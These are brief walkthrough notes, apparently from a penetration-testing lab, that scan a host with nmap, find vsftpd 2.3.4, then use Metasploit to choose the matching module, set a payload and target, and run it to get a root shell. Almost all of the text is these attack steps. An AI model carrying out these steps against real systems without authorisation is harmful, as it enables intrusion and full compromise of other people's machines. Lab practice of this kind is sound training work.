1. SCANNING

use nmap tool to scan the ip address

nmap ip -A

ftp version - vsftpd 2.3.4

2. Launch Metasploit Framework

msfconsole

launch msfconsole and search the version of ftp

use  0 (module number)

show payloads

set payload 0

After setting payload we need to check options Required for payload working

set RHOSTS

set RHOSTS <target ip>

use the run or exploit command

now we are root